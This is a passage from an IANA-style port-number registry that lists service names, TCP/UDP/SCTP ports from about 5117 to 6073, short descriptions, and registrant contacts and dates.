# 5117/udp Reserved
# 5118-5132 Unassigned
nbt-pc 5133/tcp Policy Commander
nbt-pc 5133/udp Policy Commander
# Emily Harris November 2004
# 5134-5136 Unassigned
ctsd 5137/tcp MyCTS server port
ctsd 5137/udp MyCTS server port
# Jilles Oldenbeuving June 2002
# 5138-5144 Unassigned
rmonitor_secure 5145/tcp RMONITOR SECURE
rmonitor_secure 5145/udp RMONITOR SECURE
# Kory Hamzeh
social-alarm 5146/tcp Social Alarm Service
# Shaun Byrne 18 August 2009
# 5146/udp Reserved
# 5147-5149 Unassigned
atmp 5150/tcp Ascend Tunnel Management Protocol
atmp 5150/udp Ascend Tunnel Management Protocol
# Kory Hamzeh
esri_sde 5151/tcp ESRI SDE Instance
esri_sde 5151/udp ESRI SDE Remote Start
sde-discovery 5152/tcp ESRI SDE Instance Discovery
sde-discovery 5152/udp ESRI SDE Instance Discovery
# Peter Aronson
toruxserver 5153/tcp ToruX Game Server
# Josse van Dobben de Bruyn 01 July 2009
# 5153/udp Reserved
bzflag 5154/tcp BZFlag game server
bzflag 5154/udp BZFlag game server
# Tim Riker July 2003
asctrl-agent 5155/tcp Oracle asControl Agent
asctrl-agent 5155/udp Oracle asControl Agent
# Todd Guay August 2005
# 5156-5160 Unassigned
snmpssh 5161/tcp SNMP over SSH Transport Model
# 5161/udp Reserved
# [RFC5592]
snmpssh-trap 5162/tcp SNMP Notification over SSH Transport Model
# 5162/udp Reserved
# [RFC5592]
sbackup 5163/tcp Shadow Backup
# Glenn Allen 05 August 2009
# 5163/udp Reserved
vpa 5164/tcp Virtual Protocol Adapter
vpa-disc 5164/udp Virtual Protocol Adapter Discovery
# Douglas Goodall 05 August 2009
ife_icorp 5165/tcp ife_1corp
ife_icorp 5165/udp ife_1corp
# Paul Annala
winpcs 5166/tcp WinPCS Service Connection
winpcs 5166/udp WinPCS Service Connection
# Complan Network AS February 2006
scte104 5167/tcp SCTE104 Connection
scte104 5167/udp SCTE104 Connection
scte30 5168/tcp SCTE30 Connection
scte30 5168/udp SCTE30 Connection
# Thomas Russell May 2005
# 5169-5189 Unassigned
aol 5190/tcp America-Online
aol 5190/udp America-Online
# Marty Lyons
aol-1 5191/tcp AmericaOnline1
aol-1 5191/udp AmericaOnline1
aol-2 5192/tcp AmericaOnline2
aol-2 5192/udp AmericaOnline2
aol-3 5193/tcp AmericaOnline3
aol-3 5193/udp AmericaOnline3
# Bruce Mackey
# 5194-5199 Unassigned
targus-getdata 5200/tcp TARGUS GetData
targus-getdata 5200/udp TARGUS GetData
targus-getdata1 5201/tcp TARGUS GetData 1
targus-getdata1 5201/udp TARGUS GetData 1
targus-getdata2 5202/tcp TARGUS GetData 2
targus-getdata2 5202/udp TARGUS GetData 2
targus-getdata3 5203/tcp TARGUS GetData 3
targus-getdata3 5203/udp TARGUS GetData 3
# John Keaveney
# 5204-5221 Unassigned
xmpp-client 5222/tcp XMPP Client Connection
xmpp-client 5222/udp XMPP Client Connection
# [RFC3920]
hpvirtgrp 5223/tcp HP Virtual Machine Group Management
hpvirtgrp 5223/udp HP Virtual Machine Group Management
hpvirtctrl 5224/tcp HP Virtual Machine Console Operations
hpvirtctrl 5224/udp HP Virtual Machine Console Operations
# John Williams June 2007
hp-server 5225/tcp HP Server
hp-server 5225/udp HP Server
hp-status 5226/tcp HP Status
hp-status 5226/udp HP Status
# Brett Green
perfd 5227/tcp HP System Performance Metric Service
perfd 5227/udp HP System Performance Metric Service
# Previous contact: Phyllis Gallgher April 2007
# Current contact: Chris Bertin 19 May 2009
hpvroom 5228/tcp HP Virtual Room Service
# Scott Levin 19 March 2009
# 5228/udp Reserved
# 5229-5233 Unassigned
eenet 5234/tcp EEnet communications
eenet 5234/udp EEnet communications
# Helmut Giritzer November 2005
galaxy-network 5235/tcp Galaxy Network Service
galaxy-network 5235/udp Galaxy Network Service
# Michael Andre 04 October 2007
padl2sim 5236/tcp
padl2sim 5236/udp
#
mnet-discovery 5237/tcp m-net discovery
mnet-discovery 5237/udp m-net discovery
# Andy Crick 13 November 2007
# 5238-5244 Unassigned
downtools 5245/tcp DownTools Control Protocol
downtools-disc 5245/udp DownTools Discovery Protocol
# Jarrod Sayers 07 April 2009
# 5246/tcp Reserved
capwap-control 5246/udp CAPWAP Control Protocol
# [RFC5415]
# 5247/tcp Reserved
capwap-data 5247/udp CAPWAP Data Protocol
# [RFC5415]
caacws 5248/tcp CA Access Control Web Service
caacws 5248/udp CA Access Control Web Service
# Gabriel Kalmar 06 March 2008
caaclang2 5249/tcp CA AC Lang Service
caaclang2 5249/udp CA AC Lang Service
# Gabriel Kalmar 19 February 2008
soagateway 5250/tcp soaGateway
soagateway 5250/udp soaGateway
# Greg Bodine February 2002
caevms 5251/tcp CA eTrust VM Service
caevms 5251/udp CA eTrust VM Service
# Kevin Bond November 2004
movaz-ssc 5252/tcp Movaz SSC
movaz-ssc 5252/udp Movaz SSC
# Lou Berger November 2004
# 5253-5263 Unassigned
3com-njack-1 5264/tcp 3Com Network Jack Port 1
3com-njack-1 5264/udp 3Com Network Jack Port 1
3com-njack-2 5265/tcp 3Com Network Jack Port 2
3com-njack-2 5265/udp 3Com Network Jack Port 2
# Abhay Rajaram March 2003
# 5266-5268 Unassigned
xmpp-server 5269/tcp XMPP Server Connection
xmpp-server 5269/udp XMPP Server Connection
# [RFC3920]
xmp 5270/tcp Cartographer XMP
xmp 5270/udp Cartographer XMP
# Bobby Krupczak 03 April 2008
# 5271 Unassigned
pk 5272/tcp PK
pk 5272/udp PK
# Patrick Kara
# 5273-5281 Unassigned
transmit-port 5282/tcp Marimba Transmitter Port
transmit-port 5282/udp Marimba Transmitter Port
# Johan Eriksson April 2002
# 5283-5297 Unassigned
presence 5298/tcp XMPP Link-Local Messaging
presence 5298/udp XMPP Link-Local Messaging
# Eric St. Onge 14 January 2008
nlg-data 5299/tcp NLG Data Service
nlg-data 5299/udp NLG Data Service
# Andy Shellam 19 February 2008
hacl-hb 5300/tcp HA cluster heartbeat
hacl-hb 5300/udp HA cluster heartbeat
hacl-gs 5301/tcp HA cluster general services
hacl-gs 5301/udp HA cluster general services
hacl-cfg 5302/tcp HA cluster configuration
hacl-cfg 5302/udp HA cluster configuration
hacl-probe 5303/tcp HA cluster probing
hacl-probe 5303/udp HA cluster probing
hacl-local 5304/tcp HA Cluster Commands
hacl-local 5304/udp HA Cluster Commands
hacl-test 5305/tcp HA Cluster Test
hacl-test 5305/udp HA Cluster Test
# Eric Soderberg
# Edward Yim
sun-mc-grp 5306/tcp Sun MC Group
sun-mc-grp 5306/udp Sun MC Group
# Michael DeMoney
sco-aip 5307/tcp SCO AIP
sco-aip 5307/udp SCO AIP
# Barrie Cooper
cfengine 5308/tcp CFengine
cfengine 5308/udp CFengine
# Mark Burgess
jprinter 5309/tcp J Printer
jprinter 5309/udp J Printer
# Ken Blackwell
outlaws 5310/tcp Outlaws
outlaws 5310/udp Outlaws
# Richard Fife
# 5311 Unassigned (removed 7 May 2004)
permabit-cs 5312/tcp Permabit Client-Server
permabit-cs 5312/udp Permabit Client-Server
# Jered Floyd , June 2004
rrdp 5313/tcp Real-time & Reliable Data
rrdp 5313/udp Real-time & Reliable Data
# Ted Hoshi , June 2004
opalis-rbt-ipc 5314/tcp opalis-rbt-ipc
opalis-rbt-ipc 5314/udp opalis-rbt-ipc
# Laurent Domenech
hacl-poll 5315/tcp HA Cluster UDP Polling
hacl-poll 5315/udp HA Cluster UDP Polling
# Hoa Nguyen
hpdevms 5316/tcp HP Device Monitor Service
hpdevms 5316/udp HP Device Monitor Service
# Masato Maeda 04 October 2007
# 5317-5319 Unassigned
bsfserver-zn 5320/tcp Webservices-based Zn interface of BSF
# Bert Paul 01 May 2008
# 5320/udp Reserved
bsfsvr-zn-ssl 5321/tcp Webservices-based Zn interface of BSF over SSL
# Bert Paul 03 July 2008
# 5321/udp Reserved
# 5322-5342 Unassigned
kfserver 5343/tcp Sculptor Database Server
kfserver 5343/udp Sculptor Database Server
# Keith Ashman December 2005
xkotodrcp 5344/tcp xkoto DRCP
xkotodrcp 5344/udp xkoto DRCP
# Jeff Heisz February 2006
# 5345-5348 Unassigned
stuns 5349/tcp STUN over TLS
stuns 5349/udp Reserved for a future enhancement of STUN
# [RFC5389]
nat-pmp-status 5350/tcp NAT-PMP Status Announcements
nat-pmp-status 5350/udp NAT-PMP Status Announcements
# Stuart Cheshire 03 December 2007
nat-pmp 5351/tcp NAT Port Mapping Protocol
nat-pmp 5351/udp NAT Port Mapping Protocol
# Joshua Graessley December 2004
dns-llq 5352/tcp DNS Long-Lived Queries
dns-llq 5352/udp DNS Long-Lived Queries
# Kiren Sekar August 2005
mdns 5353/tcp Multicast DNS
mdns 5353/udp Multicast DNS
# Stuart Cheshire
mdnsresponder 5354/tcp Multicast DNS Responder IPC
mdnsresponder 5354/udp Multicast DNS Responder IPC
# Stuart Cheshire June 2004
llmnr 5355/tcp LLMNR
llmnr 5355/udp LLMNR
# Bernard Aboba June 2004
ms-smlbiz 5356/tcp Microsoft Small Business
ms-smlbiz 5356/udp Microsoft Small Business
# Gopikrishna Sandra February 2005
wsdapi 5357/tcp Web Services for Devices
wsdapi 5357/udp Web Services for Devices
wsdapi-s 5358/tcp WS for Devices Secured
wsdapi-s 5358/udp WS for Devices Secured
# Henry Rawas August 2005
ms-alerter 5359/tcp Microsoft Alerter
ms-alerter 5359/udp Microsoft Alerter
# Marc McClure 07 August 2007
ms-sideshow 5360/tcp Protocol for Windows SideShow
ms-sideshow 5360/udp Protocol for Windows SideShow
ms-s-sideshow 5361/tcp Secure Protocol for Windows SideShow
ms-s-sideshow 5361/udp Secure Protocol for Windows SideShow
# Dan Polivy 12 March 2008
serverwsd2 5362/tcp Microsoft Windows Server WSD2 Service
serverwsd2 5362/udp Microsoft Windows Server WSD2 Service
# Erhan Soyer-Osman 26 March 2008
net-projection 5363/tcp Windows Network Projection
net-projection 5363/udp Windows Network Projection
# Rob Williams 17 February 2009
# 5364-5396 Unassigned
stresstester 5397/tcp StressTester(tm) Injector
stresstester 5397/udp StressTester(tm) Injector
# Graham Parsons August 2005
elektron-admin 5398/tcp Elektron Administration
elektron-admin 5398/udp Elektron Administration
# Chris Hawk August 2005
securitychase 5399/tcp SecurityChase
securitychase 5399/udp SecurityChase
# Daisuke Shinomiya August 2005
excerpt 5400/tcp Excerpt Search
excerpt 5400/udp Excerpt Search
excerpts 5401/tcp Excerpt Search Secure
excerpts 5401/udp Excerpt Search Secure
# John Hinsdale
mftp 5402/tcp OmniCast MFTP
mftp 5402/udp OmniCast MFTP
# Steve Bannister
hpoms-ci-lstn 5403/tcp HPOMS-CI-LSTN
hpoms-ci-lstn 5403/udp HPOMS-CI-LSTN
hpoms-dps-lstn 5404/tcp HPOMS-DPS-LSTN
hpoms-dps-lstn 5404/udp HPOMS-DPS-LSTN
# Harold Froehling
netsupport 5405/tcp NetSupport
netsupport 5405/udp NetSupport
# Paul Sanders
systemics-sox 5406/tcp Systemics Sox
systemics-sox 5406/udp Systemics Sox
# Gary Howland
foresyte-clear 5407/tcp Foresyte-Clear
foresyte-clear 5407/udp Foresyte-Clear
foresyte-sec 5408/tcp Foresyte-Sec
foresyte-sec 5408/udp Foresyte-Sec
# Jorge Aldana
salient-dtasrv 5409/tcp Salient Data Server
salient-dtasrv 5409/udp Salient Data Server
salient-usrmgr 5410/tcp Salient User Manager
salient-usrmgr 5410/udp Salient User Manager
# Richard Farnham
actnet 5411/tcp ActNet
actnet 5411/udp ActNet
# Simon Robillard
continuus 5412/tcp Continuus
continuus 5412/udp Continuus
# Steven Holtsberg
wwiotalk 5413/tcp WWIOTALK
wwiotalk 5413/udp WWIOTALK
# Roger Knobbe
statusd 5414/tcp StatusD
statusd 5414/udp StatusD
# Stephen Misel
ns-server 5415/tcp NS Server
ns-server 5415/udp NS Server
# Jeffrey Chiao
sns-gateway 5416/tcp SNS Gateway
sns-gateway 5416/udp SNS Gateway
sns-agent 5417/tcp SNS Agent
sns-agent 5417/udp SNS Agent
# Mary Holstage
mcntp 5418/tcp MCNTP
mcntp 5418/udp MCNTP
# Heiko Rupp
dj-ice 5419/tcp DJ-ICE
dj-ice 5419/udp DJ-ICE
# Don Tyson
cylink-c 5420/tcp Cylink-C
cylink-c 5420/udp Cylink-C
# John Jobe
netsupport2 5421/tcp Net Support 2
netsupport2 5421/udp Net Support 2
# Paul Sanders
salient-mux 5422/tcp Salient MUX
salient-mux 5422/udp Salient MUX
# Richard Farnham
virtualuser 5423/tcp VIRTUALUSER
virtualuser 5423/udp VIRTUALUSER
# Chad Williams
beyond-remote 5424/tcp Beyond Remote
beyond-remote 5424/udp Beyond Remote
# Michael Berg November 2004
br-channel 5425/tcp Beyond Remote Command Channel
br-channel 5425/udp Beyond Remote Command Channel
# Michael Berg August 2005
devbasic 5426/tcp DEVBASIC
devbasic 5426/udp DEVBASIC
# Curtis Smith
sco-peer-tta 5427/tcp SCO-PEER-TTA
sco-peer-tta 5427/udp SCO-PEER-TTA
# Andrew Shire
telaconsole 5428/tcp TELACONSOLE
telaconsole 5428/udp TELACONSOLE
# Joseph M. Newcomer
base 5429/tcp Billing and Accounting System Exchange
base 5429/udp Billing and Accounting System Exchange
# Odo Maletzki
radec-corp 5430/tcp RADEC CORP
radec-corp 5430/udp RADEC CORP
# David Chell
park-agent 5431/tcp PARK AGENT
park-agent 5431/udp PARK AGENT
# John Clifford
postgresql 5432/tcp PostgreSQL Database
postgresql 5432/udp PostgreSQL Database
# Tom Lane
pyrrho 5433/tcp Pyrrho DBMS
pyrrho 5433/udp Pyrrho DBMS
# Malcolm Crowe November 2005
sgi-arrayd 5434/tcp SGI Array Services Daemon
sgi-arrayd 5434/udp SGI Array Services Daemon
# Karl Feind October 2005
sceanics 5435/tcp SCEANICS situation and action notification
sceanics 5435/udp SCEANICS situation and action notification
# Richard Olsen
# 5436-5442 Unassigned
spss 5443/tcp Pearson HTTPS
spss 5443/udp Pearson HTTPS
# Pearson 17 January 2008
# 5444-5452 Unassigned
surebox 5453/tcp SureBox
surebox 5453/udp SureBox
# Emin BORU November 2004
apc-5454 5454/tcp APC 5454
apc-5454 5454/udp APC 5454
apc-5455 5455/tcp APC 5455
apc-5455 5455/udp APC 5455
apc-5456 5456/tcp APC 5456
apc-5456 5456/udp APC 5456
# American Power Conversion
# 5457-5460 Unassigned
silkmeter 5461/tcp SILKMETER
silkmeter 5461/udp SILKMETER
# Klaus Fellner
ttl-publisher 5462/tcp TTL Publisher
ttl-publisher 5462/udp TTL Publisher
# Peter Jacobs
ttlpriceproxy 5463/tcp TTL Price Proxy
ttlpriceproxy 5463/udp TTL Price Proxy
# Peter Jacobs
quailnet 5464/tcp Quail Networks Object Broker
quailnet 5464/udp Quail Networks Object Broker
# Craig N. Bissell April 2006
netops-broker 5465/tcp NETOPS-BROKER
netops-broker 5465/udp NETOPS-BROKER
# John R. Deuel
# 5466-5499 Unassigned
fcp-addr-srvr1 5500/tcp fcp-addr-srvr1
fcp-addr-srvr1 5500/udp fcp-addr-srvr1
fcp-addr-srvr2 5501/tcp fcp-addr-srvr2
fcp-addr-srvr2 5501/udp fcp-addr-srvr2
fcp-srvr-inst1 5502/tcp fcp-srvr-inst1
fcp-srvr-inst1 5502/udp fcp-srvr-inst1
fcp-srvr-inst2 5503/tcp fcp-srvr-inst2
fcp-srvr-inst2 5503/udp fcp-srvr-inst2
fcp-cics-gw1 5504/tcp fcp-cics-gw1
fcp-cics-gw1 5504/udp fcp-cics-gw1
# Ken Wittmer
checkoutdb 5505/tcp Checkout Database
checkoutdb 5505/udp Checkout Database
# Dirk Stoop April 2007
# 5506-5552 Unassigned
sgi-eventmond 5553/tcp SGI Eventmond Port
sgi-eventmond 5553/udp SGI Eventmond Port
# Andrei Vilkotski June 2003
sgi-esphttp 5554/tcp SGI ESP HTTP
sgi-esphttp 5554/udp SGI ESP HTTP
# Vladimir Legalov
###UNAUTHORIZED USE: Port 5555 also used by HP Omniback############
###UNAUTHORIZED USE: port 5555 by Intermec UDPPlus#################
personal-agent 5555/tcp Personal Agent
personal-agent 5555/udp Personal Agent
# Jackie Wu
###################################################################
freeciv 5556/tcp Freeciv gameplay
freeciv 5556/udp Freeciv gameplay
# Reinier Post, Paul Zastoupil January 2006
# 5557-5565 Unassigned
westec-connect 5566/tcp Westec Connect
# Previous contact: Kaushlesh Chandel 03 March 2009
# Current contact: Jon Bolen 18 March 2009
# 5566/udp Unassigned
m-oap 5567/tcp Multicast Object Access Protocol
m-oap 5567/udp Multicast Object Access Protocol
# Bryant Eastham November 2004
sdt 5568/tcp Session Data Transport Multicast
sdt 5568/udp Session Data Transport Multicast
# Daniel W. Antonuk May 2006
# 5569-5572 Unassigned
sdmmp 5573/tcp SAS Domain Management Messaging Protocol
sdmmp 5573/udp SAS Domain Management Messaging Protocol
# Ron Zuckerman 30 August 2007
lsi-bobcat 5574/tcp SAS IO Forwarding
# Mandar Joshi 09 February 2009
# 5574/udp Reserved
# 5575-5578 Unassigned
fdtracks 5579/tcp FleetDisplay Tracking Service
# Henrik Woffinden 22 September 2008
# 5579/udp Unassigned
tmosms0 5580/tcp T-Mobile SMS Protocol Message 0
tmosms0 5580/udp T-Mobile SMS Protocol Message 0
tmosms1 5581/tcp T-Mobile SMS Protocol Message 1
tmosms1 5581/udp T-Mobile SMS Protocol Message 1
# Ezinne Oji June 2006
fac-restore 5582/tcp T-Mobile SMS Protocol Message 3
fac-restore 5582/udp T-Mobile SMS Protocol Message 3
# Jessica Yan 19 February 2008
tmo-icon-sync 5583/tcp T-Mobile SMS Protocol Message 2
tmo-icon-sync 5583/udp T-Mobile SMS Protocol Message 2
# Donghwan Lim 22 January 2008
bis-web 5584/tcp BeInSync-Web
bis-web 5584/udp BeInSync-Web
bis-sync 5585/tcp BeInSync-sync
bis-sync 5585/udp BeInSync-sync
# Adi Ruppin August 2005
# 5586-5596 Unassigned
ininmessaging 5597/tcp inin secure messaging
ininmessaging 5597/udp inin secure messaging
# Mike Gagle May 2006
mctfeed 5598/tcp MCT Market Data Feed
mctfeed 5598/udp MCT Market Data Feed
# Stephane Touizer May 2006
esinstall 5599/tcp Enterprise Security Remote Install
esinstall 5599/udp Enterprise Security Remote Install
esmmanager 5600/tcp Enterprise Security Manager
esmmanager 5600/udp Enterprise Security Manager
esmagent 5601/tcp Enterprise Security Agent
esmagent 5601/udp Enterprise Security Agent
# Kimberly Gibbs
a1-msc 5602/tcp A1-MSC
a1-msc 5602/udp A1-MSC
a1-bs 5603/tcp A1-BS
a1-bs 5603/udp A1-BS
a3-sdunode 5604/tcp A3-SDUNode
a3-sdunode 5604/udp A3-SDUNode
a4-sdunode 5605/tcp A4-SDUNode
a4-sdunode 5605/udp A4-SDUNode
# Mike Dolan
# 5606-5626 Unassigned
ninaf 5627/tcp Node Initiated Network Association Forma
ninaf 5627/udp Node Initiated Network Association Forma
# Thomas Scholl March 2006
htrust 5628/tcp HTrust API
htrust 5628/udp HTrust API
# Karl Olafsson 24 October 2008
symantec-sfdb 5629/tcp Symantec Storage Foundation for Database
symantec-sfdb 5629/udp Symantec Storage Foundation for Database
# Quang Thoi November 2006
precise-comm 5630/tcp PreciseCommunication
precise-comm 5630/udp PreciseCommunication
# Alon Tamir April 2006
pcanywheredata 5631/tcp pcANYWHEREdata
pcanywheredata 5631/udp pcANYWHEREdata
pcanywherestat 5632/tcp pcANYWHEREstat
pcanywherestat 5632/udp pcANYWHEREstat
# Jon Rosarky
beorl 5633/tcp BE Operations Request Listener
beorl 5633/udp BE Operations Request Listener
# chirag desai February 2006
xprtld 5634/tcp SF Message Service
xprtld 5634/udp SF Message Service
# VR Satish 16 August 2007
sfmsso 5635/tcp SFM Authentication Subsystem
# De-Chih Chien 15 September 2008
# 5635/udp Reserved
sfm-db-server 5636/tcp SFMdb - SFM DB server
# De-Chih Chien 06 October 2008
# 5636/udp Reserved
# 5637-5670 Unassigned
amqps 5671/tcp amqp protocol over TLS/SSL
amqps 5671/udp amqp protocol over TLS/SSL
# Ted Ross 26 March 2008
amqp 5672/tcp AMQP
amqp 5672/udp AMQP
# Pieter Hintjens January 2006
amqp 5672/sctp AMQP
# Martin Sustrik March 2007
jms 5673/tcp JACL Message Server
jms 5673/udp JACL Message Server
# Stuart Allen February 2002
hyperscsi-port 5674/tcp HyperSCSI Port
hyperscsi-port 5674/udp HyperSCSI Port
# Data Storage Institute, Singapore
# February 2002
v5ua 5675/tcp V5UA application port
v5ua 5675/udp V5UA application port
v5ua 5675/sctp V5UA application port
# RFC3807 June 2004
raadmin 5676/tcp RA Administration
raadmin 5676/udp RA Administration
# Sergei Zjaikin February 2002
questdb2-lnchr 5677/tcp Quest Central DB2 Launchr
questdb2-lnchr 5677/udp Quest Central DB2 Launchr
# Robert M. Mackowiak February 2002
rrac 5678/tcp Remote Replication Agent Connection
rrac 5678/udp Remote Replication Agent Connection
dccm 5679/tcp Direct Cable Connect Manager
dccm 5679/udp Direct Cable Connect Manager
# Mark Miller
auriga-router 5680/tcp Auriga Router Service
auriga-router 5680/udp Auriga Router Service
# Vincent Gaudeul February 2006
ncxcp 5681/tcp Net-coneX Control Protocol
ncxcp 5681/udp Net-coneX Control Protocol
# Ryan Werber June 2006
# 5682-5687 Unassigned
ggz 5688/tcp GGZ Gaming Zone
ggz 5688/udp GGZ Gaming Zone
# Josef Spillner January 2003
qmvideo 5689/tcp QM video network management protocol
qmvideo 5689/udp QM video network management protocol
# Jamie Lokier May 2006
# 5690-5712 Unassigned
proshareaudio 5713/tcp proshare conf audio
proshareaudio 5713/udp proshare conf audio
prosharevideo 5714/tcp proshare conf video
prosharevideo 5714/udp proshare conf video
prosharedata 5715/tcp proshare conf data
prosharedata 5715/udp proshare conf data
prosharerequest 5716/tcp proshare conf request
prosharerequest 5716/udp proshare conf request
prosharenotify 5717/tcp proshare conf notify
prosharenotify 5717/udp proshare conf notify
#
dpm 5718/tcp DPM Communication Server
dpm 5718/udp DPM Communication Server
dpm-agent 5719/tcp DPM Agent Coordinator
dpm-agent 5719/udp DPM Agent Coordinator
# Sundar Srinivasan Vinay Badami May 2006
ms-licensing 5720/tcp MS-Licensing
ms-licensing 5720/udp MS-Licensing
# Thomas Lindeman November 2002
dtpt 5721/tcp Desktop Passthru Service
dtpt 5721/udp Desktop Passthru Service
# Dan Leising January 2005
msdfsr 5722/tcp Microsoft DFS Replication Service
msdfsr 5722/udp Microsoft DFS Replication Service
# Guhan Suriyanarayanan March 2006
omhs 5723/tcp Operations Manager - Health Service
omhs 5723/udp Operations Manager - Health Service
omsdk 5724/tcp Operations Manager - SDK Service
omsdk 5724/udp Operations Manager - SDK Service
# Gerardo Dilillo August 2006
ms-ilm 5725/tcp Microsoft Identity Lifecycle Manager
# 5725/udp Reserved
# Rob Ward 02 May 2008
ms-ilm-sts 5726/tcp Microsoft Lifecycle Manager Secure Token Service
# 5726/udp Reserved
# Rob Ward 02 May 2008
asgenf 5727/tcp ASG Event Notification Framework
# Arman Bedonian 15 July 2009
# 5727/udp Reserved
# 5728-5728 Unassigned
openmail 5729/tcp Openmail User Agent Layer
openmail 5729/udp Openmail User Agent Layer
# OpenMail Encyclopedia
# Don Loughry
unieng 5730/tcp Steltor's calendar access
unieng 5730/udp Steltor's calendar access
# Bernard Desruisseaux
# 5731-5740 Unassigned
ida-discover1 5741/tcp IDA Discover Port 1
ida-discover1 5741/udp IDA Discover Port 1
ida-discover2 5742/tcp IDA Discover Port 2
ida-discover2 5742/udp IDA Discover Port 2
# MPITech Support
watchdoc-pod 5743/tcp Watchdoc NetPOD Protocol
watchdoc-pod 5743/udp Watchdoc NetPOD Protocol
# Christophe Chevalier August 2005
watchdoc 5744/tcp Watchdoc Server
watchdoc 5744/udp Watchdoc Server
# Christophe Chevalier November 2004
fcopy-server 5745/tcp fcopy-server
fcopy-server 5745/udp fcopy-server
fcopys-server 5746/tcp fcopys-server
fcopys-server 5746/udp fcopys-server
# Moshe Leibovitch
tunatic 5747/tcp Wildbits Tunatic
tunatic 5747/udp Wildbits Tunatic
tunalyzer 5748/tcp Wildbits Tunalyzer
tunalyzer 5748/udp Wildbits Tunalyzer
# Sylvain Demongeot August 2005
# 5749 Unassigned
rscd 5750/tcp Bladelogic Agent Service
rscd 5750/udp Bladelogic Agent Service
# Previous contact: Brian Trevor 07 January 2008
# Current contact: Brian Trevor 24 October 2008
# 5751-5754 Unassigned
openmailg 5755/tcp OpenMail Desk Gateway server
openmailg 5755/udp OpenMail Desk Gateway server
x500ms 5757/tcp OpenMail X.500 Directory Server
x500ms 5757/udp OpenMail X.500 Directory Server
openmailns 5766/tcp OpenMail NewMail Server
openmailns 5766/udp OpenMail NewMail Server
s-openmail 5767/tcp OpenMail Suer Agent Layer (Secure)
s-openmail 5767/udp OpenMail Suer Agent Layer (Secure)
openmailpxy 5768/tcp OpenMail CMTS Server
openmailpxy 5768/udp OpenMail CMTS Server
# OpenMail Encyclopedia
# Don Loughry
spramsca 5769/tcp x509solutions Internal CA
spramsca 5769/udp x509solutions Internal CA
spramsd 5770/tcp x509solutions Secure Data
spramsd 5770/udp x509solutions Secure Data
# Brendan Fay February 2006
netagent 5771/tcp NetAgent
netagent 5771/udp NetAgent
# Bradley Birnbaum
# 5772-5776 Unassigned
dali-port 5777/tcp DALI Port
dali-port 5777/udp DALI Port
# Wayne Morrow / Michael Melio / October 2003
# 5778-5779 Unassigned
vts-rpc 5780/tcp Visual Tag System RPC
# Graham Bloice 17 September 2009
# 5780/udp Reserved
3par-evts 5781/tcp 3PAR Event Reporting Service
3par-evts 5781/udp 3PAR Event Reporting Service
# Sushil Thomas 10 March 2008
3par-mgmt 5782/tcp 3PAR Management Service
3par-mgmt 5782/udp 3PAR Management Service
3par-mgmt-ssl 5783/tcp 3PAR Management Service with SSL
3par-mgmt-ssl 5783/udp 3PAR Management Service with SSL
# Don Marselle 19 March 2008
# 5784 Unassigned
3par-rcopy 5785/tcp 3PAR Inform Remote Copy
3par-rcopy 5785/udp 3PAR Inform Remote Copy
# Don Marselle 09 April 2008
# 5786-5792 Unassigned
xtreamx 5793/tcp XtreamX Supervised Peer message
xtreamx 5793/udp XtreamX Supervised Peer message
# Ahmad Tajuddin Samsudin February 2007
# 5794-5812 Unassigned
icmpd 5813/tcp ICMPD
icmpd 5813/udp ICMPD
# Shane O'Donnell
spt-automation 5814/tcp Support Automation
spt-automation 5814/udp Support Automation
# Joshua Hawkins November 2003
# 5815-5858 Unassigned
wherehoo 5859/tcp WHEREHOO
wherehoo 5859/udp WHEREHOO
# Jim Youll
# 5860-5862 Unassigned
ppsuitemsg 5863/tcp PlanetPress Suite Messeng
ppsuitemsg 5863/udp PlanetPress Suite Messeng
# Yannick Fortin February 2006
# 5864-5899 Unassigned
vnc-server 5900/tcp VNC Server
vnc-server 5900/udp VNC Server
# Tristan Richardson March 2006
# 5901-5909 Unassigned
cm 5910/tcp Context Management
cm 5910/udp Context Management
cpdlc 5911/tcp Controller Pilot Data Link Communication
cpdlc 5911/udp Controller Pilot Data Link Communication
fis 5912/tcp Flight Information Services
fis 5912/udp Flight Information Services
ads-c 5913/tcp Automatic Dependent Surveillance
ads-c 5913/udp Automatic Dependent Surveillance
# Eivan Cerasi 10 October 2008
# 5914-5962 Unassigned
indy 5963/tcp Indy Application Server
indy 5963/udp Indy Application Server
# Bjorn Lantz November 2004
# 5964-5967 Unassigned
mppolicy-v5 5968/tcp mppolicy-v5
mppolicy-v5 5968/udp mppolicy-v5
mppolicy-mgr 5969/tcp mppolicy-mgr
mppolicy-mgr 5969/udp mppolicy-mgr
# Yutaka Ono
# 5970-5983 Unassigned
couchdb 5984/tcp CouchDB
couchdb 5984/udp CouchDB
# Noah Slater 27 November 2007
wsman 5985/tcp WBEM WS-Management HTTP
wsman 5985/udp WBEM WS-Management HTTP
wsmans 5986/tcp WBEM WS-Management HTTP over TLS/SSL
wsmans 5986/udp WBEM WS-Management HTTP over TLS/SSL
# Jim Davis November 2006
wbem-rmi 5987/tcp WBEM RMI
wbem-rmi 5987/udp WBEM RMI
wbem-http 5988/tcp WBEM CIM-XML (HTTP)
wbem-http 5988/udp WBEM CIM-XML (HTTP)
# Jim Davis
wbem-https 5989/tcp WBEM CIM-XML (HTTPS)
wbem-https 5989/udp WBEM CIM-XML (HTTPS)
# Jim Davis
wbem-exp-https 5990/tcp WBEM Export HTTPS
wbem-exp-https 5990/udp WBEM Export HTTPS
# Denise Eckstein November 2004
nuxsl 5991/tcp NUXSL
nuxsl 5991/udp NUXSL
# Kai Kretschmann March 2002
consul-insight 5992/tcp Consul InSight Security
consul-insight 5992/udp Consul InSight Security
# Arthur Hillenaar January 2006
# 5993-5998 Unassigned
cvsup 5999/tcp CVSup
cvsup 5999/udp CVSup
# Randall Atkinson
x11 6000-6063/tcp X Window System
x11 6000-6063/udp X Window System
# Stephen Gildea
ndl-ahp-svc 6064/tcp NDL-AHP-SVC
ndl-ahp-svc 6064/udp NDL-AHP-SVC
# John Richmond
winpharaoh 6065/tcp WinPharaoh
winpharaoh 6065/udp WinPharaoh
# Basil Lee
ewctsp 6066/tcp EWCTSP
ewctsp 6066/udp EWCTSP
# Mark Bailon
# 6067 Unassigned (Removed on 2007-07-17)
gsmp 6068/tcp GSMP
gsmp 6068/udp GSMP
# Avri Doria
trip 6069/tcp TRIP
trip 6069/udp TRIP
# Hussein F. Salama
messageasap 6070/tcp Messageasap
messageasap 6070/udp Messageasap
# Murray Freeman
ssdtp 6071/tcp SSDTP
ssdtp 6071/udp SSDTP
# Michael Shearson
diagnose-proc 6072/tcp DIAGNOSE-PROC
diagnose-proc 6072/udp DIAGNOSE-PROC
# Allan Miller
directplay8 6073/tcp DirectPlay8
directplay8 6073/udp DirectPlay8
